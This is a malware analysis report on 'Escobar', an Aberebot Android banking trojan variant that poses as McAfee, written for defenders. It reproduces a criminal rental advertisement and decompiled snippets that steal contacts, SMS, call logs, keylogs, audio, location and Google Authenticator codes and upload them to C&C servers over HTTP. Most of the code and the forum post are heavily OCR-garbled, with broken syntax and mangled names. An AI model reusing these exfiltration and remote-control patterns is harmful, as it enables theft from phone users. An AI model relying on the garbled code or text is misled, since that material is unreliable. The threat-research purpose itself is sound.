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This Aberebot banking trojan steals data from Google Authenticator and taking control of compromised device

screens.

During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a Twitter post wherein
researchers mentioned a malware that has a name and icon similar to the legitimate anti-virus app, McAfee. While
analyzing the malware we observed that the package name of the malicious app was com.escobar.pablo. Further
research helped us identify this malware as a new variant of the popular banking Trojan, Aberebot. Besides stealing
sensitive information such as login credentials using phishing overlays, Aberebot has also targeted customers

of 140+ banks and financial institutions across 18 countries.

Cyble Research Labs has identified new features in this Aberebot variant, such as stealing data from Google
Authenticator and taking the control of compromised device screens using VNC, etc. Threat Actors (TAs) have
named the new variant as Escobar and published the feature details of the variant in a cybercrime forum, as shown

in the figure below.

Page 1 of 12


https://twitter.com/malwrhunterteam/status/1499390775775293454
https://cyble.com/knowledge-hub/google-dorks-master-advanced-search-hacks/
https://cyble.com/knowledge-hub/cyber-threat-actor-and-types/

https://blog.cyble.com /2022 /03 /10 /aberebot-returns-as-escobar/

[RENT] Escobar Bot Android Banking Trojan | VNC - Remote Screen Control | Panel | APK Builder

ESCROW AVAILABLE IN THIS THREAD!

* Mot open fon etk eple.

ledie carmni Lo this group wath an sdvien and s friorsd. | arm an Ande TIANEST i (WO e Bl
want rt renting my private Android banking bot here. Th TA versicn and it is possit ) #nocunter emors and
L~ B [+ 117} thi bot to mammum 5 o 2 The price of one maonth rent is $3000 for BETA version. | ater prier
willl b $5000. You can try bor for three days shter oeating 3 Jeal through eforow and depositing paymient, if you dont like the malware
5 tan wilhch il oof your deposil (You pay guaranior prio
s YU Fan w o all of you P L [y O 3

Err mmera inbarematine wess #23m rgach ma 2t Telegram [ENGLISH ONLY)

iy Imyechnrs (WL POP L RN VAT | AL T LAMGE | APF AND WTINT SIDF LN WL
MS ard |licde SMS

syt [WEIRCE, CONLY 1M APV, NOT HRCTWERE)

il PRCAAT TS, TR0 0P 1 1A 5

Giet SN inbear
= Send M5 10 Qe Murmbe
Sond TN to A Contarty

= Gl Call Lo
Get & Aummenncator Codes

prole

Jownlosd Media Fles trom Dewce
= APY. Bubder
APR, ume =Ml

NOTE: THE MAIWARE DOESNT WORK ON XIADMI MIUI 11 AND HIGHER AS UI WON'T LET BACKGROUND SERVICES TO LAUNC

CH

ACTIVITIES (WHICH IS HOW INJECTIONS WORK)!

Figure 1- Darkweb Post About Escobar
Technical Analysis

APK Metadata Information

e App Name: McAfee

e Package Name: com.escobar.pablo

e SHA256 Hash: a9d1561ed0d23a5473d68069337e2f8e7862f7b72b74251eb63ccc883ba9459f

Figure 2 shows the metadata information of an application.

World's Best Al-Native Threat Intelligence
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Figure 2 — App Metadata Information

The figure below shows the application icon and name displayed on the Android device.
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Figure 3 — App Icon and Name

Manifest Description

The malware requests users for 25 different permissions, of which it abuses 15. These dangerous permissions are

listed below.

Permissions Description

READ_SMS Access SMSes from the victim’s device.
RECEIVE_SMS Intercept SMSes received on the victim’s device
READ CALL_LOG Access Call Logs

READ_CONTACTS Access phone contacts
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Allows access to phone state, including the current cellular

network information, the phone number and the serial
READ_PHONE_STATE

number of the phone, the status of any ongoing calls, and a

list of any Phone Accounts registered on the device.

Allows the app to record audio with the microphone,
RECORD_AUDIO
which has the potential to be misused by attackers

Allows the app to get the approximate location of the
ACCESS_COARSE_LOCATION
device network sources such as cell towers and Wi-Fi.

Allows the device’s precise location to be detected by
ACCESS_FINE_LOCATION
using the Global Positioning System (GPS).

SEND_SMS Allows an application to send SMS messages.

Allows an application to initiate a phone call without
CALL_PHONE going through the Dialer user interface for the user to

confirm the call.

Allows the app to write or delete files in the device’s

WRITE_EXTERNAL_STORAGE
external storage

Allows the app to read the contents of the device’s external
READ_EXTERNAL_STORAGE
storage

WRITE_SMS Allows the app to modify or delete SMSes

Allows the app to get the list of accounts used by the
GET_ACCOUNTS N
phone

Allows the app to disable the keylock and any associated
DISABLE_KEYGUARD
password security

We observed a defined launcher activity in the malicious app’s manifest file, which loads the first screen of the

application, as shown in Figure 4.

@CYBLE.E See What Really Looked Like Across

Global | APAC | Europe | North America | META | Australia & New Zealand

Get Your Free Reports Today!

<activity android:name=Jcom.example.pablo.MainActivity}] android:enabled="true"=
<intent-filter=

<action android:name="android.intent.action.MAIN" /=

<category android:name="android.1intent.category. L AUNCHER" /=
</intent-t1lter=

</activity=
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Figure 4 — Launcher Activity
Source Code Review

Our static analysis indicated that the malware steals sensitive data such as Contacts, SMSes, Call logs, and device
location. Besides recording calls and audio, the malware also deletes files, sends SMSes, makes calls, and takes

pictures using the camera, etc., based on the commands received from the C&C server.

The code snippet shown below is used by the malware to access the contacts data such as phone numbers and email

addresses from the victim’s device, as shown in Figure 5.

public woid run() {

Mam-ﬂctlvxtv mainActivity = MainActivity.this;
1ng str o= MainActivaty. fEl:GOWDDOo
Build.BRAND + “%20%20° + Build,MODEL;
MainActivity. Oeo0000;
Ham-ﬂctl.nty Qoo0000;
getDefaulti).toString();

g valueOf (Bulld, VERSI ON.RELEASE) ;

Halnacuutv mainActivity2 = MainActivity.this;
g Oooled0 = malnActivity2. Ooouoooimamnctlwtvz getApplicationContext());
q replace = String.valueOf (Calendar.getInstance().getTime()).replace(” =, "%20");
MalnActivity malnActlvity3 = Mainfctivity.this;
contentﬂesolver contentResolver = malnActivity3.getApplicationContext().getContentResolver();

-r'-t'-r'-t'-r-r

Objects, requlretonhull(mainActivity3);

ArrayList arrayList = new ArrayList();

1f (00000000, Ooo0000 (mainActivity3. get.ﬂpphcatloncontextﬂ *android.permission.READ CONTACTS") != 0) {
arrayu.st add (" AN ERROR OCCURRED! COULD MNOT GET CONTACTS!™®);

} else {

[cUrsor query = contentResolver.query|ContactsContract.CommonDatakinds.Phone CONTENT URI, null, null, null, nul‘L],‘l
while [guery.moveToMext()] 1
try {
if (arraylist.toString(l).length{] < 7ooo) {
Iarrayl_‘ist.add[query,gét‘strihg[query‘gétﬁ}lumlndex\"datal‘)]];I

}

Figure 5 — Code to Collect Contacts Data

The code shown in Figure 6 is used by the malware to collect SMSes from the device‘s inbox and upload them to
the C&C server.

Mainfctivity malmicunt',' this. Oeo0i0e;
if

Cursar quéry = mainActivity.getfpplicationContext() gelmnlmtﬁenlver” quar'.‘l.!.lrl parse content: s/ srbeet ), null, null, null, null)

IT Tquery.moveToPirsti1] 1
stra = "7;
de
for [int 1 = 0; 1 = query.getCount{l; a+e) {
if (1str2.contains (query.getstringlquery.getColumlndex (*address® )] « “<hr=" & query.getstring(guery.getColumnlndex(body® )] &5 URLEncoder
try {
str2 = str2 + query.getString(guery.getColumnindex(®address®]) + *<br=" + query.getString|query.getColumnIndex( body®]) + "<hr=";
} catch (Exception el {

e.printstackTracel);

13
b}
} while [query.moveToMext()];
}oelse {
Str2 = *NO SHS FOUMD IN IMBONE®;

try {

str3 = LILEn:nder uncnﬂu str2, "UtF-8+];
b ocatch | g ption a2} {

2. pr:ntsta:k'rra:ﬂ].

8trd = 7y

e “http:
Gocd. lppund(ﬂ.ﬂlnl:tl\rlly 000000] =
(Goc0. append (* /project fapl Mathods fup LeadDnbox , php?botad="]
DooD. append (MaunActi vl ty . F5030000000] ;
0oe0, append (" Sinbox=");

Figure 6 — Code to Collect Inbox SMSs

The malware collects incoming SMSes from the device and uploads them to the C&C server, as shown in Figure 7.
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public woid onReceive(Context context, Intent imtent) {
Bundle extras;

if (lintent.getActiond).equals(android.provider.Telephony, M5 DELIVER") || intent.getActiond).equals(*android.provider. Telephony,SMs RECEIVED")) &6
ohiect[] objbrr = (Dbiect[]) extras geti*pdus=];
ArrF = new agelobyarr. Length] ;

for lint 3 = 0; 2 = cbjarr, langth; a++) {
if [Bulld. VERSION, SDK_INT == 23] {

smsMessagedrr[1] = SmaMessage.createFromPdul (byte[)] abjarr(i], extras.getString(*format®});
b oelse {

smsMessagesrr (1] = SmsMessage.createFromPdul (bytel]] objarriill;

this. Ooo0000 = smsMessagedrr|i].getMessageBodyl);
this, 0000000 = smsMessagearrlil.getOraginatingaddress(};
try {
! StrictMade.setThreadPalicy new StrictMode.ThreadPolicy.Builder() . permitalli) butldil];
hh. 0000000 0000000 = new hh. 0000000 () ;
Timelnit timelndt = Timeling T.SECONDS:
0000000 , 000000 10, timelnit);
000000 . Gool000( 10, timelnit);
0090000, 00e0000! 10, Timeumit);
hih hh¥ar = mew hhicoodl0o);

.0oo0000 + " /project/apiMethods /upleadiog. pho? logs" + .'..'..\nrl.ar,qqun;unqa[],q.r‘r;mg(),wstqnm
JOoc0Do0 new CooD00a (this]);

} eateh (Exception e) {
e.printStackTrace();

Figure 7 — Code for collecting Incoming SMSs

The code snippet shown below depicts the malware’s ability to collect call logs from the device and upload it to the
C&C server.

Maml.ctwlty lamnctwltyz = tlus Oucoﬁﬂn- _

-amactwnyz gat.ﬁppllcntlnn«:nnte!t“ getcontentﬁ.eso].-rar[:l querﬁun parsel“content://call_log/ealls*), null

H

., null, nulllf

g string = query2.getStringlquery2.getColumnindex(”number=]};
9 String2 = query2. gets-trmg[queryz getculumlndex( durat1o‘1 1;

Calendar. getInstince . setTimeInML g
if (URLEncoder.encede(strd, *UTF-87). length[) < 70000 {

gtra = “<hohumber: </b>" + string + "<b> Duration: </b>" + string2 + "<b> Type: </b>" + parseInt + = <br><br>" + strd;
}

}
try {
str = LPLEncode encode(strd, "UTF.8):
} catch (Unsupporte odingException @3) {
ad. pr1ntStackTracaI | H
str = **;

StringBui lder Qool2 = q7.0ce0(*http://*);

00002, append (MainActivity.Ooo0000) ;

o002, append(® /project fapiMethods fuploadCall. php?batid=")
o002, append (Mainactivity . f5030000000) ;

o2, append (*scalllogs=");

Figure 8 — Code to Collect Call Logs

Figure 9 showcases the code that illustrates the malware‘s ability to steal application key logs.

public static weid OooQoDOlstring ste) {
try d

StrictMode, setThreadPolicy(new StrictMode.ThreadPolicy,Bud Lder (). permital1() buxld(]]}

TimgUrit timelnit = TimaUnit, SECONDS;
000000 . 0oo000a [ 10, timelnit];
2000000 0o00000( 10, timaUnit);

0000000 0o00000( 10, timeUnit);

hh hhvar = new hhloooD00c] ;

1h, Goobte coctote? = pew th Cooboto();

00000002, Ooo000(*hittp: //° + MainActivity.00o0000 + */project/apiMethods/uploadieylogs . phprbotede®

+ MainActivity. 5030000000 + "Skeylogss” + URLEncader .encode)
LHTT UoeloUinew ool 175

b eatch |-r-'.i:

Figure 9 — Code to steal key logs

In the below image, we see the code that is used by the malware to record audio from an infected device based on
the TA’s command.
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pul:'l.lc -rnl runl: q{

LH
.H.ud:nﬁl:nrdlr audichacorder = AudicRecorder. this;
int 1 = AudicRecorder.Oool000;

audioRecorder . f 4500000000 = q7.0000000(new StringSunlder(]), audicRecorder. 4500000000, ‘,-audlol'—\ec.J:,—:)']I
audloRecorder .1 O . SROP ] ¢
audioRecorder . f 4800000000, releasel);
audioRecorder . f 4890000000 » mull;
try {
Eilelnpuiciress fileTnputStream o nes 1107 foireaminey F1lclaudigRecorder f45000000000 )

IH:tpLﬁ_Cnnm:hon httplPLConnection = lH'!!pLH_CunncctlunJ mew URL (“http://* + H.nmnx:txntr Doc0006 + '.-'uru;ccuapMethnds_-'up'l:.umc.php.‘bot|d=|
P DRNECTion, SetDoLnpUt| Lrue)

httpURLConnection, se tDol.‘-utPutitru-.‘ H

httpURLConnection. setuseCaches (falsel

httpURLConnection, setRequestMethod (*POST=];

httpURLConnection. setRaquestProperty ("Conmection®, "Keep-Alive®);

httpURLCennection, setRequastProperty ("ENCTYPE", "multipart/form-data®];

httpURLConnection. setRaquestProperty(“Content-Type®, “multipart/form-data;boundary=tissss] .
httpURLCennectlon, setRaquestProperty ("Cockie’, Mainactivity.OocOOod);

httpURLConnection, setRequestProperty (| “uploaded_! *, audicRecorder . f 4800000000 ;
DatalutputStrean databutputStream = new treamihttpURLCennection. getOutputStreaml));
dataOutputStrean, writeBytes(® . ww=sw ryne;

datalutputStream.writeBytes(® Content-Dispesition: form-data; name=\"uploaded f1ley®;filename=" + audioRecorder.f490000000c + *\rin*);

Figure 10 — Code to records Audio

On the TA’s command, the malware tries to steal Google authenticator codes, as shown below.

3 if (this.f ntains{*Get Google Authenticator Codes®}) {
Intent LaunchIntentForPackage = getPackageManager().getLaunchIntentForPackage(®com.google.android. apps.authenticator2® :II
Td990000000 = true;
flags = launchIntentForPackage.setFlags(268435456) ;

Figure 11 — Steals Google Authenticator Code

The Escobar malware variant also uses VNC Viewer to remotely control the screens of an infected device, as shown

below.

}lelse if (this. f5010000000.contains(*Start uHC'HI{
ccessibilityService Jool0o = True;

} else if (this.f5010000000.contains("Enable Motfication Access®)) {
if (1getapplicationContext().getSharedPreferences(”sharedPrefs®, 0).getBoolean( notification, falsel] {
charedPreferences Editor edit = getApplicationContext(].getSharedPreferences("sharedPrefs, o) .edit();
edit.putBoolean| uninstallProtection®, false):
edit.applyl);
flags = new Intent(®android.settings. ACTION WOTIFICATION LISTENER SETTINGS®) .setFlags{268435455) ;

3

t[else if (this.fS010080000_cantains (*Step Wnct) 1]
TeessibI 1 LyService. Doo000 = Talse;

boelse {

try
[il [this. F5010000000. contains(® mccl.n.q'nl{

Tring stril = this. Tl
float floatvalue = Float v.ﬂ.umfmru substring(strll.index0f (*[*) + 1, this. {5010000000. indéxOf (*1*)]].floatvalue();
string $tel2 = this, f5010060000;
RecessibilityService.0os0000 = Fl sat valueof (strl2. substring(strl2 index0f (* (") + 1, this. fS010000000.index0f (*)1)) . floatvaluel];
AecessibilityService. 0oo0000 = floatvalue:
n.cnsslbxluysuru;u \'w?maoooo = *click";

r

float Hbaw-tlunz = Fl ulu-D{Istrla substring(strl3. indexof (* + 1, this. fS010000000.index0f (1)) . fleatvalue(];
tring strld = this, fBOIDUUOOO\‘.\
MclS:lbi'Lin'rvl-:l.anDm = l—'. sat . valueof (strld, substring(strld, indexof (* (=) + 1, this,fS010c00000.indexOf (=) 1)) . floatvaluel];
BAecessibilityService. 0oo0000 = f'loawa'lun?.
AccessibilityService. f4670000000 = “hold

str =
b oelse if Fth;s.fﬁlwm.cuntalnﬁ SVRCDrag® Jl {

Figure 12 — Uses VNC Viewer to Control Device Screen

The malware can take pictures and also has the code to send text SMSes to a specific phone number or to all the
contacts saved in the victim’s device without the user’s knowledge. Refer to figure 13 for the code used by the

malware for this purpose.

else if (this] f5010000000.contains (" Take Photo") )] {

startService(new Intent(getApplicationContext(), CameraActivity.class).addFlags(268435456));
is, fS010000000;
else [if (!this.f5010000000.contains("Send SMS") || this.fS010000000.contains(*all ")) {
(this.fS010000000.contains ("Send SMS to AlLL Contacts")) {

Arraylist arraylist = (Arraylist) Ooo0000(getApplicationContext().getContentResolver());
String strd4 = this.f5010000000;

Figure 13 — Code to take Pictures and send SMSs
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Acting to the commands given by the TAs C&C, the Escobar malware is capable of injecting URLSs in the victim’s

device, as shown below.

[ this [fS010000000. contains (*Inject a web page® )] {

Iflags = new Intent (getApplicationContext(), Bank.class).putExtral®inject”, strS.substring(strS.indexof (“[*) + 1, thig.fs&lmamﬂo_mdhm-ﬁ']';Zf-l

Figure 14 — Injects URLs

The malware can also steal media files from the victim’s device, as shown in the below code snippet.

[if (thi

f 5010000000 . contains ( “Download File®) ]I {

15 stre = this,T5010000000;

| = { ] fof=) & i ] flel=1);

getapplicationContext () .getContentResolver (). query (MediaStore. Images, Media. EXTERNAL_CONTENT_LRI, null, null, nulllf;

Curser guery =

while [trae] |

if [1query.moveToMext()) {
break;

}
tring string = query.getStringlquery.getColumnIndex(*_data=));
if [string.contains(substring2)) {
query.closell;
OooD0od(string) ;

Figure 15 — Steals Files on the Device

The image below depicts the malware’s ability to collect device location.

public veid onLocationChanged(Location location) {
try {
|commandListener.this.fSGOOonOOOu,Onoonuolln:atinn.getLatitude(J + "%2C" + location.getLongitudei))]
} catch (Exception el 1
e.printStackTrace();

Figure 16 — Code to Collects Device Location

Figure 17 showcases the code snippet used by the Escobar malware to monitor the victim’s device notifications.

public veid[enbotaticationPosted StatusBarbotification statusBarbotification)]{
S| i
if| [statusBarNotification.getPackageMama( ) . equals(Telephony.Sms.getDef aultSmsPackagel this

cancelallbotifications();

]
if Fstatusﬂarmtlflcatwn.getmtlfuatwni loactions 1= mull 64 acresslbﬂltyservlce.fdmouooo.contams:statusBarNouhcauon.getDackaqualne:]]I
115 auv
statusBarMotification.getMotification() actions[0].actionIntent. send();
} catch (Pendinglntent.CanceledException &) {
¢.printStackTrace(};

Figure 17 — Code for monitoring device notifications

The malware can also kill itself whenever it gets the commands from the C&C server.

else if (this.fSE:lDonDﬂGu.contains]' {

startService(new Intent(getApplicationContext(), Uninstall.class)):

Intent intent = new Intent("android.settings.APPLICATION DETAILS SETTINGS")
intent.addCategory("android.intent.category . DEFALLT" ] ;

StringBuillder Ooe02 = q7.0000("package:");

Doo02. append (getPackageName(] ) ;

Figure 18 — Code to kill Itself

Below are the commands used by the TAs to control the infected device:

Command Description

Take Photo Capture images from the device’s camera
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Send SMS Send SMS to a particular number
Send SMS to All Contacts Send SMS to all the contact numbers saved in the device
Inject a web page Inject a URL
Download File Download media files from the victim device
Kill Bot Delete itself
Uninstall an app Uninstall an application
Record Audio Record device audio
Get Google Authenticator Codes Steal Google Authenticator codes
Start VNC Control device screen
Conclusion

Banking threats are increasing with every passing day and growing in sophistication. Escobar is one such example.
The newly added features in the Escobar malware allow the malicious app to steal information from the

compromised device. According to our research, these types of malware are only distributed via sources other than
Google Play Store. As a result, practicing cyber hygiene across mobile devices and online banking applications is a

good way to prevent this malware from compromising your system.
Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

How to prevent malware infection?

¢ Download and install software only from official app stores like Google Play Store or the iOS App Store.

¢ Use a reputed anti-virus and internet security software package on your connected devices, such as PCs,
laptops, and mobile devices.

¢ Use strong passwords and enforce multi-factor authentication wherever possible.

e Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device
where possible.

» Be wary of opening any links received via SMS or emails delivered to your phone.

e Ensure that Google Play Protect is enabled on Android devices.

¢ Be careful while enabling any permissions.

» Keep your devices, operating systems, and applications updated.
How to identify whether you are infected?

» Regularly check the Mobile/Wi-Fi data usage of applications installed in mobile devices.
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e Keep an eye on the alerts provided by Anti-viruses and Android OS and take necessary actions accordingly.

What to do when you are infected?

¢ Disable Wi-Fi/Mobile data and remove SIM card — as in some cases, the malware can re-enable the Mobile

Data.

¢ Perform a factory reset.

« Remove the application in case a factory reset is not possible.

o Take a backup of personal media Files (excluding mobile applications) and perform a device reset.

What to do in case of any fraudulent transaction?

 In case of a fraudulent transaction, immediately report it to the concerned bank.

What should banks do to protect their customers?

e Banks and other financial entities should educate customers on safeguarding themselves from malware

attacks via telephone, SMSes, or emails.

MITRE ATT&CK® Techniques

Tactic

Initial Access
Initial Access
Execution
Collection
Collection
Collection
Collection
Collection
Collection
Collection

Command and Control

Indicators of compromise

Indicators

Technique ID

T1476

Technique Name

Deliver Malicious App via Other Mean.
Masquerade as Legitimate Application
Native Code

Access Call Log

Capture SMS Messages

Access Contact List

Capture Audio

Capture Camera

Data from Local System

Location Tracking

Commonly Used Ports

Indicator

Type

Description
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https://attack.mitre.org/techniques/T1430
https://attack.mitre.org/techniques/T1436
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MD5
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APK

Escobar
APK

Escobar
APK
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